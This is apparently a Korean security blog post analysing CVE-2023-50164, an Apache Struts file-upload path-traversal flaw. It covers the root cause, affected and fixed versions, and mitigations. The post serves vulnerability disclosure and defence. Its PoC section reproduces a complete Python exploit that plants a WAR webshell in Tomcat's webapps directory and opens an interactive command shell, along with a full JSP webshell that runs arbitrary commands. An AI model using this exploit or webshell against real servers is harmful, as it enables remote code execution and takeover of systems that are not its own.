1. Apache Struts
- Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크
2. 취약점
- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)
- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨
영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음
2.1 취약점 상세 [3][4][5][6]
- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출
> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]
> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨
- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송
> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생
> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐
2.2 PoC [7]
- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득
import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError
MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2
def get_base_url(url):
parsed_url = urlparse(url)
base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
return base_url
def create_war_file():
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
print("[+] WAR file created successfully.")
else:
print("[+] WAR file already exists.")
def upload_file(url):
create_war_file()
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
print("[-] ERROR: webshell.war not found in the current directory.")
exit()
war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
files = {
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {"Content-Type": m.content_type}
try:
response = requests.post(url, headers=headers, data=m)
print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
except requests.RequestException as e:
print("[-] Error while uploading the WAR webshell:", e)
sys.exit(1)
def attempt_connection(url):
for attempt in range(1, MAX_ATTEMPTS + 1):
try:
r = requests.get(url)
if r.status_code == 200:
print('[+] Successfully connected to the web shell.')
return True
else:
raise Exception
except ConnectionError:
if attempt == MAX_ATTEMPTS:
print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
return False
time.sleep(DELAY_SECONDS)
except Exception:
if attempt == MAX_ATTEMPTS:
print('[-] Maximum attempts reached. Exiting...')
return False
time.sleep(DELAY_SECONDS)
return False
def start_interactive_shell(url):
if not attempt_connection(url):
sys.exit()
while True:
try:
cmd = input("\033[91mCMD\033[0m > ")
if cmd == 'exit':
raise KeyboardInterrupt
r = requests.get(url + "?cmd=" + cmd, verify=False)
if r.status_code == 200:
print(r.text.replace('\n\n', ''))
else:
raise Exception
except KeyboardInterrupt:
sys.exit()
except ConnectionError:
print('[-] We lost our connection to the web shell. Exiting...')
sys.exit()
except:
print('[-] Something unexpected happened. Exiting...')
sys.exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
args = parser.parse_args()
if not args.url.startswith("http"):
print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
exit()
print("[+] Starting exploitation...")
upload_file(args.url)
webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")
print(f"[+] Attempting a connection with webshell.")
start_interactive_shell(webshell_url)
- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = sI.readLine()) != null) {
output += s + "\n";
}
} catch (IOException e) {
e.printStackTrace();
}
}
%>
<%=output %>
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [8]
> 업로드 후 임시 파일이 삭제되도록 보장
> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경
제품명 | 영향받는 버전 | 해결 버전 |
Struts | 6.0.0 ~ 6.3.0 | 6.3.0.2 |
2.0.0 ~ 2.3.37(EOL) 2.5.0 ~ 2.5.32 |
2.5.33 |
- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)
- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1
======================================내용추가===============================================
1. 취약점 개요
- Apache Struct2 프레임워크를 사용하여 개발된 사이트는 기본적으로 ".action" 확장자 형태로 실행
> Action 클래스는 특정 앤드포인트에서 사용자의 요청을 처리하는데 사용됨
> 해당 취약점은 파일 업로드와 관련된 "/upload.action" 앤드포인트에서 발생
- ActionSupport를 상속받은 Upload 클래스에서 파일 업로드에 대한 파라미터 구성 확인 가능
> 정의된 파일 업로드에 대한 3가지 속성 값을 통해 파일 업로드를 처리
- 파일 업로드 시 HTTP 요청에서 각각의 파라미터명과 속성은 다음과 같이 매칭됨
> upload 파라미터를 변조하고, 원격 명령 실행을 위한 내용을 추가해 기존 파일의 내용을 덮어쓸 수 있음
> 이후 악성코드를 포함한 파일 내용을 uploadFileName을 추가하여 임의의 경로를 지정한 파일명으로 덮어씀
2. 취약점 상세
2.1 파일 업로드 요청 - HttpParameters.java (HTTP 요청 파라미터를 처리)
- 파일 업로드 요청 수신 시 HttpParameters 클래스의 get(), remove(), contains() 메서드는 파일 업로드와 관련된 파라미터에 대한 비교를 수행
> 이때 취약한 버전의 HttpParameters 클래스는 파라미터에 대한 대소문자를 구분
> name="upload"와 name="Upload"의 경우 대소문자를 구분하기 때문에 각각 upload와 Uplaod라는 파라미터가 생성
2.2 파일 업로드 파라미터 재정의 - 파일 내용 변조
- 취약한 버전의 HttpParameters 클래스는 대소문자를 구분해 기존의 파라미터에 대한 재정의가 가능
> ParametersInterceptor 클래스의 setParameters() 메서드에서 진행
> setParameters() 메서드는 TreeMap 구조로 파일 업로드를 처리하며, Java의 TreeMap은 숫자 > 대문자 > 소문자 > 한글 순으로 정렬
> 따라서, 파라미터 값으로 upload와 Upload가 존재한다면, Upload 파라미터의 파일 내용을 우선 출력
> 공격자는 파라미터 값을 Upload로 변조하고 웹쉘 스크립트를 삽입 및 전송해 기존 파일 내용을 덮어쓸 수 있음
※ TreeMap 구조
- Java의 java.util 패키지에서 제공되는 컬렉션 클래스 중 하나
- 키-값 쌍(Key-Value Pair)의 데이터를 중복 없이 저장하며 키를 정렬된 순서(오름차순)로 유지
2.3 파일 업로드 - FileUploadInterceptor.java
- struts-default.xml은 Apche Struts2에서 기본적으로 제공하는 설정 파일로, 사용자 요청을 지원하는 Interceptor를 정의
> 사용자로부터 파일 업로드 요청이 들어오면, FileUploadInterceptor 클래스는 multiWrapper를 통해 inputName 값을 기반으로 3가지 속성값을 가져와 파일 업로드 요청 처리 및 업로드 파일 서버에 저장
> 3가지 속성 값 : 파일 객체(File), 파일명(FileNme), 컨텐츠 타입(FileContent Type)
> 이때, 서버에 저장된 파일의 파일명은 setUploadFileName() 메소드에 전달
2.4 파일 업로드 파라미터 재정의 - 파일명 변조
- 서버에 업로드 된 악성파일에 접근하기 위해 서버에 업로드된 파일명을 나타내는 파라미터를 재정의
> 서버에 업로드된 파일의 파일명은 setUploadFileName()를 통해 처리되며, uploadFileName을 재정의해 임의의 경로를 초함한 파일명으로 변조 가능
- 벤더사는 취약점에 대한 패치 배포
> HTTP 요청 파라미터 처리 과정에서 대소문자 구분하지 않도록 equalsIngoreCase() 메서드 추가
> 동일한 파라미터가 있는 경우 제거하는 remove() 메서드 추가
3. 출처
[1] https://www.skshieldus.com/kor/media/newsletter/insight.do (SK쉴더스 EQST insight 리포트 2024년 2월호)
'취약점 > File Up&Download, Inclusion' 카테고리의 다른 글
Apache Struts 임의 파일 업로드 취약점 (CVE-2024-53677) (0) | 2024.12.19 |
---|---|
Cleo 제품 임의 파일 읽기/쓰기 취약점 (CVE-2024-50623) (0) | 2024.12.15 |
이니텍 INISAFE CrossWeb EX V3 파일 다운로드 취약점 (0) | 2023.03.31 |
VMware vCenter Server 파일 업로드 취약점 (CVE-2021-21972) (0) | 2023.01.15 |
File Upload 취약점_webshell 추가 (0) | 2022.10.12 |